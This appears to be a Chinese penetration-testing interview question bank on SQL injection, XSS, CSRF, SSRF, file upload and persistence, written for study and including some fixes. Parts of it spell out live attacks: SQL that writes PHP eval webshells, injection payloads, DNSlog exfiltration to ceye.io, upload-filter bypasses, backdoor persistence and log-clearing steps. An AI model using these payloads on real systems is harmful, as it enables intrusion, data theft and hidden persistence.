31.sql注入写文件都有哪些函数 ``` select '一句话' into outfile '路径' select '一句话' into dumpfile '路径' select '<?php eval($_POST[1]) ?>' into > dumpfile 'd:\wwwroot\baidu.com\nvhack.php'; ``` > ##### 32.SQL注入修复和防护方法 ``` 1、使用安全的API 2、对输入的特殊字符进行Escape转义处 3、使用白名单来规范化输入验证方 4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符 > 5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。 ``` > ##### 33.sql里面只有update怎么利用 ``` 先理解这句 SQLUPDATEuserSETpassword= 'MD5($password)', homepage= '$homepage'WHEREid= '$id'如果此 SQL > 被修改成以下形式,就实现了注入1.修改 homepage 值为http://xxx.net', userlevel='3之后 SQL > 语句变为UPDATEuserSETpassword= 'mypass', homepage= 'http://xxx.net', > userlevel= '3'WHEREid= '$id'userlevel 为用户级别2.修改 password 值为mypass)' > WHERE username='admin'#之后 SQL 语句变为UPDATEuserSETpassword= > 'MD5(mypass)'WHEREusername= 'admin'#)', homepage='$homepage' WHERE > id='$id'3.修改 id 值为' OR username='admin' 之后 SQL > 语句变为UPDATEuserSETpassword= 'MD5($password)', homepage= > '$homepage'WHEREid= ''ORusername= 'admin' ``` > ##### 34.sql如何写shell/单引号被过滤怎么办 ``` 写shell: root权限,GPC关闭,知道文件路径 outfile函数`http: //127.0.0.1:81/sqli.php?id=1 into outfile > 'C:wamp64wwwphpinfo.php' FIELDS TERMINATED BY '<?phpphpinfo; > ?>'``http: //127.0.0.1:81/sqli.php?id=-1 union select > 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile > 'C:wamp64wwwphpinfo.php'`宽字节注入代替空格的方法%0a、%0b、%a0 等 /**/ 等注释符 <> ``` > ##### 35.mysql的网站注入,5.0以上和5.0以下有什么区别? ``` > 5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。 > 5.0以下是多用户单操作, > 5.0以上是多用户多操做。 ``` > > ##### 36.MySQL写WebShell有几种方式,利用条件 > 一、 > union select 后写入 > lines terminated by 写入 > lines starting by 写入 > fields terminated by 写入 > COLUMNS terminated by 写入 > 二、 > root权限 > GPC关闭(能使用单引号),magic_quotes_gpc=On > 有绝对路径(读文件可以不用,写文件必须) > 没有配置–secure-file-priv > 成功条件:有读写的权限,有create、insert、select的权限 > ##### 37.Sql 注入无回显的情况下,利用 DNSlog,mysql 下利用什么构造代码,mssql 下又如何? > > (1)没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火墙的存在,容易被封禁IP,可以尝试调整请求频率,有条件的使用代理池进行请求。 > (2)此时也可以使用 DNSlog 注入,原理就是把服务器返回的结果放在域名中,然后读取 DNS 解析时的日志,来获取想要的信息。 > (3)Mysql 中利用 load_file() 构造payload > ' and if((select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'))),1,0)# > (4)Mssql 下利用 master..xp_dirtree 构造payload > DECLARE @host varchar(1024);SELECT @host=(SELECT db_name())+'.xxx.ceye.io';EXEC('master..xp_dirtree"\'+@host+'\foobar$"'); > > ##### 38.phpmyadmin写sehll的方法 > > 一、常规导入shell的操作 > 创建数据表导出shell > CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL ); > INSERT INTO `mysql`.`shadow9` (`content` ) VALUES ('<?php @eval($_POST[pass]);?>'); > SELECT `content` FROM `shadow9` INTO OUTFILE 'C:\\phpStudy\\WWW\\90sec.php'; > DROP TABLE IF EXISTS `shadow9`; > 二、一句话导出shell: > select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/90sec.php'; > select '<?php @eval($_POST[pass]);?>' into outfile 'c:\\phpstudy\\www\\90sec.php'; > select '<?php @eval($_POST[pass]);?>' into dumpfile 'c:\\phpstudy\\www\\bypass.php'; > > 三、日志备份获取shell > show global variables like "%genera%"; //查询general_log配置 > set global general_log='on'; //开启general log模式 > SET global general_log_file='D:/phpStudy/WWW/cmd.php'; //设置日志文件保存路径 > SELECT '<?php phpinfo();?>'; //phpinfo()写入日志文件 > set global general_log='off'; //关闭general_log模式 > > ##### 39.SQL注入构造payload > > 答: > 一、布尔型盲注 > (1)mysql : > 'and (length(database()))>10 --+ > (2)oracle: > ' and 1=(select decode(user,'SCOTT',1,0) from dual) -- > 二、时间型盲注 > and if(ascii(substr((select database()),1,1))>115,1,sleep(5)) > 三、利用报错回显 > (1) extractvalue > and extractvalue(1,concat(0x7e,(select database()))) > (2) updatexml > updatexml(1,concat(0x7e,(select @@version),0x7e),1) > ##### 40.如何判断注入有哪些方法 > > 添加单引号,双引号,order by, rlike,sleep,benchmark,运算符,修改数据类型,报错注入语句测试 > > ##### 41.SQL和NoSQL的区别? > > SQL优点:结构稳定、逻辑性强、易于理解 > SQL缺点:不适于高并发、不适于海量数据高效读写、维护开销大、相对nosql速度慢 > NoSql优点:易扩展、数据结构灵活、查询速度快 > 比较:没有好坏之分,只看应用环境。关系型数据库可靠性更强、适用于银行等数据精度要求高的环境。非关系型数据库适用于高并发、大量数据库交互、数据准确度不高的环境。 > > ##### 42.Mysql一个@和两个@什么区别 > > 一个@是 用户自定义的变量 > 两个@是 globa(全局变量)l或session变量 > ##### 43.什么是CRLF注入攻击?(%0d%0a)(\r\n) > > 是一种当用户将回车换行字符插入到应用中而触发漏洞的攻击技巧。 > 当该字符与HTTP协议请求和响应的头部一起联用时就有可能会出现各种各样的漏洞,包括http请求走私和http响应拆分。 > http请求走私: > 缓存毒化—攻击者可以修改缓存中的内容然后不显示正常页面而显示恶意页面。 > 防火墙逃逸—攻击者通过构造数据包来逃避安全检查(两个包),通常会利用CRLF和构造超大的数据包。 > 请求劫持—攻击者可以通过该利用获取HttpOnly的cookie和http认证数据,类似于xss但是不需要攻击者和黑客进行交互。 > http响应拆分:加入一些请求头,造成类似XSS的攻击效果 > > #### 二、常问问题 > ##### 渗透测试步骤 > > 渗透测试与入侵的区别 > 渗透测试:以安全为基本原则,通过攻击者以及防御者的角度去分析目标所存在的安全隐患以及脆弱性,以保护系统安全为最终目标。 > 入侵:通过各种方法,甚至破坏性的操作,来获取系统权限以及各种敏感信息。 > 一般渗透测试流程 明确目标>信息收集>漏洞探测扫描>漏洞验证>信息分析>获取所需>信息整理>形成报告>漏洞复测 > 1. 明确目标 > 确定范围:测试目标的范围、ip、域名、内外网、测试账户。 > 确定规则:能渗透到什么程度,所需要的时间、能否修改上传、能否提权、等等。 > 确定需求:web应用的漏洞、业务逻辑漏洞、人员权限管理漏洞、等等。 > > 2. 信息收集、 > l 方式:主动扫描,开放搜索等。 > l 开放搜索:利用搜索引擎获得:后台、未授权页面、敏感url、等等。 > l 基础信息:IP、网段、域名、端口。 > l 应用信息:各端口的应用。例如web应用、邮件应用、等等。 > l 系统信息:操作系统版本 > l 版本信息:所有这些探测到的东西的版本。 > l 服务信息:中间件的各类信息,插件信息。 > l 人员信息:域名注册人员信息,web应用中发帖人的id,管理员姓名等。 > l 防护信息:试着看能否探测到防护设备。 > > 3. 漏洞探测 > 利用上一步中列出的各种系统,应用等使用相应的漏洞。 > 方法: > (1) 漏扫,awvs,IBM appscan等。 > (2) 结合漏洞去exploit-db等位置找利用。 > (3) 在网上寻找验证poc。 > 内容: > l 系统漏洞:系统没有及时打补丁 > l WebSever漏洞:WebSever配置问题 > l Web应用漏洞:Web应用开发问题 > l 其它端口服务漏洞:各种21/8080(st2)/7001/22/3389 > l 通信安全:明文传输,token在cookie中传送等。 > 4. 漏洞验证 > 将上一步中发现的有可能可以成功利用的全部漏洞都验证一遍。结合实际情况,搭建模拟环境进行试验。成功后再应用于目标中。 > l 自动化验证:结合自动化扫描工具提供的结果 > l 手工验证,根据公开资源进行验证 > l 试验验证:自己搭建模拟环境进行验证 > l 登陆猜解:有时可以尝试猜解一下登陆口的账号密码等信息 > l 业务漏洞验证:如发现业务漏洞,要进行验证 > 公开资源的利用 > l exploit-db/wooyun/ > l google hacking > l 渗透代码网站 > l 通用、缺省口令 > l 厂商的漏洞警告等等。 > > 5. 信息分析 > 为下一步实施渗透做准备。 > l 精准打击:准备好上一步探测到的漏洞的exp,用来精准打击 > l 绕过防御机制:是否有防火墙等设备,如何绕过 > l 定制攻击路径:最佳工具路径,根据薄弱入口,高内网权限位置,最终目标 > l 绕过检测机制:是否有检测机制,流量监控,杀毒软件,恶意代码检测等(免杀) > l 攻击代码:经过试验得来的代码,包括不限于xss代码,sql注入语句等 > > 6. 获取所需 > 实施攻击:根据前几步的结果,进行攻击 > l 获取内部信息:基础设施(网络连接,vpn,路由,拓扑等) > l 进一步渗透:内网入侵,敏感目标 > l 持续性存在:一般我们对客户做渗透不需要。rookit,后门,添加管理账号,驻扎手法等 > l 清理痕迹:清理相关日志(访问,操作),上传文件等 > > 7. 信息整理 > l 整理渗透工具:整理渗透过程中用到的代码,poc,exp等 > l 整理收集信息:整理渗透过程中收集到的一切信息 > l 整理漏洞信息:整理渗透过程中遇到的各种漏洞,各种脆弱位置信息 > 8. 形成报告 > l 按需整理:按照之前第一步跟客户确定好的范围,需求来整理资料,并将资料形成报告 > l 补充介绍:要对漏洞成因,验证过程和带来危害进行分析 > l 修补建议:当然要对所有产生的问题提出合理高效安全的解决办法 流程总结  > > > > > ##### 1.拿到一个待检测的站,你觉得应该先做什么? > **信息收集** > > 获取域名的whois信息,获取注册者邮箱姓名电话等。 > 查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。 > 查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞 > 查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。 > 扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针 > google hack 进一步探测网站的信息,后台,敏感文件 > 服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等) > 网站指纹识别(包括,cms,cdn,证书等),dns记录 > whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等) > 子域名收集,旁站,C段等 > google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等 > 扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等 > 传输协议,通用漏洞,exp,github源码等 > > **漏洞挖掘和扫描** > > 开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含 > 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等 > 打开各种扫描器被动扫描器主动扫描器等等。 > > **漏洞利用** > > 利用以上的方式拿到webshell,或者其他权限。 > 综合漏洞扫描结果和信息收集结果得到漏洞利用的点。 > > **权限提升** > > 提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql > system提权以及oracle低权限提权 > > **日志清理** > > 清理渗透时遗留的文件,如:webshell脚本系统后门等等 > 删除系统登录日志nginx,iis等等web日志,注意只能删除自己的日志。 > **总结报告及修复方案** > > 有漏洞平台的汇总到漏洞平台,没有漏洞的统一记录好,如果是团队协作应该互相交流防止漏洞重复, > **复测** > > 验证并发现是否有新漏洞,输出报告,归档 > > > > ##### 2.判断出网站的CMS对渗透有什么意义? > > 查找网上已曝光的程序漏洞。 > 如果开源,还能下载相对应的源码进行代码审计。 > > ##### 3.一个成熟并且相对安全的CMS,渗透时扫目录的意义? > > 敏感文件、二级目录扫描 > 站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点 > ##### 4.常见的网站服务器容器 > > IIS、Apache、nginx、Lighttpd、Tomcat > ##### 5.目前已知哪些版本的容器有解析漏洞,具体举例 > > *IIS 6.0* > /xx.asp/xx.jpg “xx.asp”是文件夹名 > *IIS 7.0/7.5* > 默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析 > *Nginx* > 版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。 > 空字节代码 xxx.jpg.php > *Apache* > 上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀 > *lighttpd* > xx.jpg/xx.php,不全,请小伙伴们在评论处不吝补充,谢谢! > ##### 6.如何手工快速判断目标站是windows还是linux服务器 > > linux大小写敏感,windows大小写不敏感。 > web响应头判断 > phpinfo判断 > > ##### 7.为何一个mysql数据库的站,只有一个80端口开放 > > 更改了端口,没有扫描出来。 > 站库分离。 > 3306端口不对外开放 > 有防火墙,各种策略加持 > ##### 8.无法连接3389的几种情况 > > 没开放3389 端口 > 端口被修改 > 防护拦截 > 处于内网(需进行端口转发) > > ##### 9.在某后台新闻编辑界面看到编辑器,应该先做什么? > > 查看编辑器的名称版本,然后搜索公开的漏洞。 > 尝试各种上传漏洞是否是任意文件上传,能否通过各种骚的姿势绕过。 > > > ##### 10.拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么? > > 能做的事情很多,用隐藏网马来举例子: > 插入 > SetHandler application/x-httpd-php > .jpg文件会被解析成.php文件。 > 具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。 > > ##### 11.安全狗会追踪变量,从而发现出是一句话木马吗? > > 是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。 > > ##### 12.access 扫出后缀为asp的数据库文件,访问乱码,**如何实现到本地利用?** > > 下载后直接改后缀为.mdb,使用数据库软件,有密码的话先尝试爆破 > > ##### 13.某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户? > > 同数据库 > > ##### 14.上传大马后访问乱码时,有哪些解决办法? > > 浏览器中改编码。 > 修改上传文件的编码,如gbk或者utf-8 > ##### 15.审查上传点的元素有什么意义? > > 有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。 > > ##### 16.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用? > > 先爆破用户名,再利用被爆破出来的用户名爆破密码。 > 其实有些站点,在登陆处也会这样提示 > 所有和数据库有交互的地方都有可能有注入。 > ##### 17.目标站发现某txt的下载地址为http://www.test.com/down/down.php file=/upwdown/1.txt,你有什么思路? > > 这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。 > ##### 18.在有shell的情况下,如何使用xss实现对目标站的长久控制? > > 后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。 > 在登录后才可以访问的文件中插入XSS脚本。 > 后者在登陆index页插入js脚本打到目标cookie > > ##### 19.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码? > > 通过浏览器开发者审查元素 把密码处的password属性改成text就明文显示了 > > ##### 20.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因? > > 原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过, > 有可能是文件并未上传上去。 > > ##### 21.在win2003服务器中建立一个 .zhongzi文件夹用意何为? > > 隐藏文件夹,为了不让管理员发现你传上去的工具。 > > > > > > ##### 22.CSRF 和 XSS 和 XXE 有什么区别,以及修复方式? > > XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。 > CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer > XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。 > ##### 23.CSRF、SSRF和重放攻击有什么区别? > > CSRF是跨站请求伪造攻击,由客户端发起 > SSRF是服务器端请求伪造,由服务器发起 > 重放攻击是将截获的数据包进行重放,达到身份认证等目的 > > ##### 24.说出至少三种业务逻辑漏洞,以及修复方式? > > 密码找回漏洞中存在 > 1)密码允许暴力破解、 > 2)存在通用型找回凭证、 > 3)可以跳过验证步骤、 > 4)找回凭证可以拦包获取 > 等方式来通过厂商提供的密码找回功能来得到密码。身份认证漏洞中最常见的是 > 1)会话固定攻击 > 2) Cookie 仿冒 > 只要得到 Session 或 Cookie 即可伪造用户身份。验证码漏洞中存在 > 1)验证码允许暴力破解 > 2)验证码可以通过 Javascript 或者改包的方法来进行绕过 > > ##### 25.权限维持的方法 > > 留自启动后门方法很多,大多数都添加到服务,加注册表 加启动项, > windows: > 1.替换系统文件类(shift后门,放大镜后门) > 2.修改注册表类 > 自启动项、屏幕保护程序注册表、用户登陆初始化、登录脚本、映像劫持、影子账户、AppCertDlls注册表项、AppInit_DLLs注册表项、文件关联、用户登陆初始化、xx.Netsh > Helper DLL > 3.文件类 > 自启动文件夹、office Word StartUp劫持 > 4.计划任务 > schtasks 、WMI、bitsadmin > Linux > 1.预加载型动态链接库后门 > 2.strace后门 > 3.SSH 后门 > 4.SUID后门 > 5.inetd服务后门 > 6.协议后门 > 7.vim后门 > 8.PAM后门 > 9.进程注入 > 10.Rootkit > 11.端口复用 > MSF权限维持 > 1.Persistence模块 > 2.Metsvc 模块 > Powershell权限维持 > CS权限维持 > SC命令 > > ##### 26.XXE 漏洞原理,代码审计如何寻找? > > 答: > (1)XXE (XML 外部实体注入)当 应用允许引用 XML 外部实体时,攻击者通过构造恶意内容,就可能进行任意文件读取、系统命令执行、内网端口探测、内网网站攻击等操作。 > 支持的协议如下图: > >  > > Java :支持http、https、file、ftp、mailto、jar、netdoc、(1.8不支持gopher) > (2)审计函数,涉及到XML文件处理,都可能造成 XXE > (3)防御方法:禁用外部实体 > > ##### 27.cors如何产生,有哪些利用方式?绕过同源策略的方法有哪些?jsonp跨域如何利用? > > 答: > (1)CORS全称是"跨域资源共享"(Cross-origin resource sharing),Origin源未严格,从而造成跨域问题,允许浏览器向跨源服务器,发出XMLHttpRequest请求 > (2)Origin为*的时候,使用curl测试CORS, > curl <url> -H “Origin: https://evil.com” -I > 再寻找的api接口是否有敏感信息泄漏。 > (3)同源:协议相同、域名相同、端口相同,绕过同源策略限制的方法: > 1、document.domain属性 > 2、片段识别符(URL后加#号) > 3、window.name > 4、跨文档通信API > 5、JSONP > 6、CORS > 7、WebSockets > (4)jsonp跨域利用:获取JSON数据并编码发送到远程服务器上 > > ##### 28.phar协议如何利用,php伪协议input与post数据包发送有什么区别? > > 答: > (1)可以Bypass一些waf,绕过上传限制 > (2)Phar反序列化,Phar:// 伪协议读取phar文件时,会反序列化meta-data储存 > (3) 区别 > 一、 application/x-www-form-urlencoded 或 multipart/form-data时 > php://input 中是原始数据。 > $_POST 中是关联数组,且没有上传控件的内容。 > 二、enctype="multipart/form-data" 时 > php://input 是无效的。 > 三、 Content-Type = "text/plain"时 > $_POST 不能获取post的数据, php://input可以。 > ##### 29.docker远程api漏洞原理 > > 答: > (1)docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,该未授权访问,可以通过url操作,执行docker命令。 > (2)通过docker client执行目标服务器容器命令,docker是以root权限运行的 > 一、有运行ssh服务,/root/.ssh目录挂载到container内,,然后修改/.ssh/authorized_keys 文件,把自己的public key写进去 > 二、没有运行ssh服务,利用挂载写crontab定时任务,反弹一个shell > > ##### 30.ssrf怎么用redis写shell > > 答: > (1)SSRF服务端请求伪造 > 一、对内网扫描,获取 banner > 二、攻击运行在内网的应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等) > 三、利用协议读取本地文件 > 四、 云计算环境AWS Google Cloud 环境可以调用内网操作 ECS 的 API > (2)如webligic SSRF漏洞 > 通过SSRF的gopher协议操作内网的redis,利用redis将反弹shell写入crontab定时任务,url编码,将\r字符串替换成%0d%0a > ##### 31.XSS弹窗函数及常见的 XSS 绕过策略 > > 答: > 一、alert,confirm,prompt三种函数 > 二、绕过策略 > 1. 大小写混合 > 2. 双写 > 3.编码 > 4. fuzz 低频使用标签 <details/open/ontoggle> > 5. fuzz 低频使用函数 ontoggle 等 > 6.<img/src=1> > 7.%0a或者%0d绕过 > > ##### 32.SVN/GIT源代码泄露 > > 答: > (1)在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息 > /.svn/entries > (2)使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞 > /.git/config > ##### 33.为什么aspx木马权限比asp大 > > aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而已。入侵的时候asp的木马一般是guest权限…APSX的木马一般是users权限。 > > ##### 34.什么是XSS > > 反射型 > 用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。需要诱使用户“点击”一个恶意链接,才能攻击成功 > 存储型 > 存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。 > DOM型 > 通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。 > > DOM型和反射型的区别 > 反射型XSS:通过诱导用户点击,我们构造好的恶意payload才会触发的XSS。反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。DOM型:通过修改页面的DOM节点形成的XSS。DOM-based > XSS由于是通过js代码进行dom操作产生的XSS,所以在请求的响应中我们甚至不一定会得到相应的畸形数据。根本区别在我看来是输出点的不同。 > > DOM型和XSS自动化测试或人工测试 > 人工测试思路:找到类似document.write、innerHTML赋值、outterHTML赋值、window.location操作、写javascript:后内容、eval、setTimeout > 、setInterval > 等直接执行之类的函数点。找到其变量,回溯变量来源观察是否可控,是否经过安全函数。自动化测试参看道哥的博客,思路是从输入入手,观察变量传递的过程,最终检查是否有在危险函数输出,中途是否有经过安全函数。但是这样就需要有一个javascript解析器,否则会漏掉一些通过js执行带入的部分内容。 > > 在回答这段问题的时候,由于平时对客户的检测中,基本是凭借不同功能点的功能加上经验和直觉来进行检测,对不同类型的XSS检测方式实际上并没有太过细分的标准化检测方式,所以回答的很烂。。。 > > 如何快速发现XSS位置 > 对于XSS怎么修补建议 > 输入点检查:对用户输入的数据进行合法性检查,使用filter过滤敏感字符或对进行编码转义,针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。 > > 输出点检查:对变量输出到HTML页面中时,对输出内容进行编码转义,输出在HTML中时,对其进行HTMLEncode,如果输出在Javascript脚本中时,对其进行JavascriptEncode。对使用JavascriptEncode的变量都放在引号中并转义危险字符,data部分就无法逃逸出引号外成为code的一部分。还可以使用更加严格的方法,对所有数字字母之外的字符都使用十六进制编码。此外,要注意在浏览器中,HTML的解析会优先于Javascript的解析,编码的方式也需要考虑清楚,针对不同的输出点,我们防御XSS的方法可能会不同,这点可能在之后的文章会做下总结。 > 除此之外,还有做HTTPOnly对Cookie劫持做限制。 > XSS蠕虫的生产条件 > 正常情况下,一个是产生XSS点的页面不属于self页面,用户之间产生交互行为的页面,都可能造成XSS Worm的产生。 > 不一定需要存储型XSS > > ##### 35.什么是CSRF > > 1、CSRF原理 > CSRF是跨站请求伪造攻击,由客户端发起,是由于没有在关键操作执行时进行是否由用户自愿发起的确认 > > 2、防御 > 验证Referer > 添加token > > 3、token和referer做横向对比,谁安全等级高? > token安全等级更高,因为并不是任何服务器都可以取得referer,如果从HTTPS跳到HTTP,也不会发送referer。并且FLASH一些版本中可以自定义referer。但是token的话,要保证其足够随机且不可泄露。(不可预测性原则) > > 4、对referer的验证,从什么角度去做?如果做,怎么杜绝问题 > 对header中的referer的验证,一个是空referer,一个是referer过滤或者检测不完善。为了杜绝这种问题,在验证的白名单中,正则规则应当写完善。 > > 5、针对token,对token测试会注意哪方面被人,会对token的哪方面进行测试? > 引用一段请教前辈的回答: > > 针对token的攻击,一是对它本身的攻击,重放测试一次性、分析加密规则、校验方式是否正确等,二是结合信息泄露漏洞对它的获取,结合着发起组合攻击 > 信息泄露有可能是缓存、日志、get,也有可能是利用跨站 > 很多跳转登录的都依赖token,有一个跳转漏洞加反射型跨站就可以组合成登录劫持了 > 另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过比如抢红包业务之类的 > > ##### 36.什么是SSRF > > SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统) > > SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。 > > 1、监测 > SSRF漏洞的验证方法: > > 1)因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞 > > 2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞 4[1] > > 2、SSRF漏洞的成因 防御 绕过 > 成因:模拟服务器对其他服务器资源进行请求,没有做合法性验证。利用:构造恶意内网IP做探测,或者使用其余所支持的协议对其余服务进行攻击。防御:禁止跳转,限制协议,内外网限制,URL限制。绕过:使用不同协议,针对IP,IP格式的绕过,针对URL,恶意URL增添其他字符,@之类的。301跳转+dns > rebindding。 > > > ##### 37.说说文件上传原理 > > 1、文件上传漏洞原理 > 由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件 > > 2、常见的上传绕过方式 > 前端js验证:禁用js/burp改包 > 大小写 > 双重后缀名 > 过滤绕过 pphphp->php > 1. filename在content-type下面 > 2. .asp{80-90} > 3. NTFS ADS > 4. .asp... > 5. boundary不一致 > 6. iis6分号截断asp.asp;asp.jpg > 7. apache解析漏洞php.php.ddd > 8. boundary和content-disposition中间插入换行 > 9. hello.php:a.jpg然后hello.<<< > 10. filename=php.php > 11. filename="a.txt";filename="a.php" > 12. name=\n"file";filename="a.php" > 13. content-disposition:\n > 14. .htaccess文件 > 15. a.jpg.\nphp > 16. 去掉content-disposition的form-data字段 > 17. php<5.3 单双引号截断特性 > 18. 删掉content-disposition: form-data; > 19. content-disposition\00: > 20. {char}+content-disposition > 21. head头的content-type: tab > 22. head头的content-type: multipart/form-DATA > 23. filename后缀改为大写 > 24. head头的Content-Type: multipart/form-data;\n > 25. .asp空格 > 26. .asp0x00.jpg截断 > 27. 双boundary > 28. file\nname="php.php" > 29. head头content-type空格: > 30. form-data字段与name字段交换位置 > > 3、防护 > 文件上传目录设置为不可执行 > 使用白名单判断文件上传类型 > 用随机数改写文件名和路径 > > 4、审查上传点的元素有什么意义? > 有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。 > > ##### 38.文件包含的原理 > > 1、原理 > 引入一段用户能控制的脚本或代码,并让服务器端执行 include()等函数通过动态变量的方式引入需要包含的文件; > 用户能够控制该动态变量。 > > 2、导致文件包含的函数 > PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), … JSP/Servlet:ava.io.File(), > java.io.Fil-eReader(), … ASP:include file, include virtual, > > 3、本地文件包含 > 能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞 > > ##### 39.说说逻辑漏洞 > > 1、金融行业常见逻辑漏洞 > 单针对金融业务的 主要是数据的篡改(涉及金融数据,或部分业务的判断数据),由竞争条件或者设计不当引起的薅羊毛,交易/订单信息泄露,水平越权对别人的账户查看或恶意操作,交易或业务步骤绕过。 > > ##### 40.说说中间人攻击 > > 中间人攻击是一个(缺乏)相互认证的攻击;由于客户端与服务器之间在SSL握手的过程中缺乏相互认证而造成的漏洞 > 防御中间人攻击的方案通常基于一下几种技术 > 1.公钥基础建设PKI 使用PKI相互认证机制,客户端验证服务器,服务器验证客户端;上述两个例子中都是只验证服务器,这样就造成了SSL握手环节的漏洞,而如果使用相互认证的的话,基本可以更强力的相互认证 > 2.延迟测试 > 使用复杂加密哈希函数进行计算以造成数十秒的延迟;如果双方通常情况下都要花费20秒来计算,并且整个通讯花费了60秒计算才到达对方,这就能表明存在第三方中间人。 > 3.使用其他形式的密钥交换形式 > ##### 41.使用httponly,XSS怎么继续攻击? > > ##### 42.怎么绕过CDN? > > ##### 43.如何绕过登陆界面的token验证 > > ##### 44.文件上传时,遇到waf怎么办,用什么方法绕过 > > 轻量级检测绕过 > a.绕过前端JavaScript检测:使用Burp抓包改包。 > b.绕过服务器端MIME类型检测:使用Burp抓包改包。 > 路径/文件扩展名检测绕过 > a.黑名单检测方式 > 大小写、扩展名(php4) > 特殊文件名绕过; > 0x00截断绕过; > .htaccess文件攻击(windows流) > b.白名单检测方式 > 截断绕过 > Content-Disposition: form-data; Content-Type: application/octet-stream > 这两项 加减空格 变换大小写 字符串拼接(form-data->form-da+ta) > 双文件上传 > 上传木马时,提示格式错误 直接抓包修改Content-Type 为正确的格式尝试绕过 > 文件内容检测: > 1、正常图片末尾添加一句话木马 > 2、二次渲染 > 3、文件头检测 > PNG 的文件头为十六进制的 89 50 4E 47 0D 0A 1A 0A > GIF 为 47 49 46 38 37 61 GIF89a > JPG 为 FF D8 FF E0 > 文件编辑器上传:FCKEditor、Ewebeditor、UEditor、KindEditor、XHditor > 9、open_basedir访问目录限制绕过方法? > 利用命令执行函数bypass(system(‘cat /etc/passwd’); > 推特最新Bypass(chair()函数改变工作目录) > mkdir(“/tmp/fuck”); > chdir(‘/tmp/fuck/‘); > 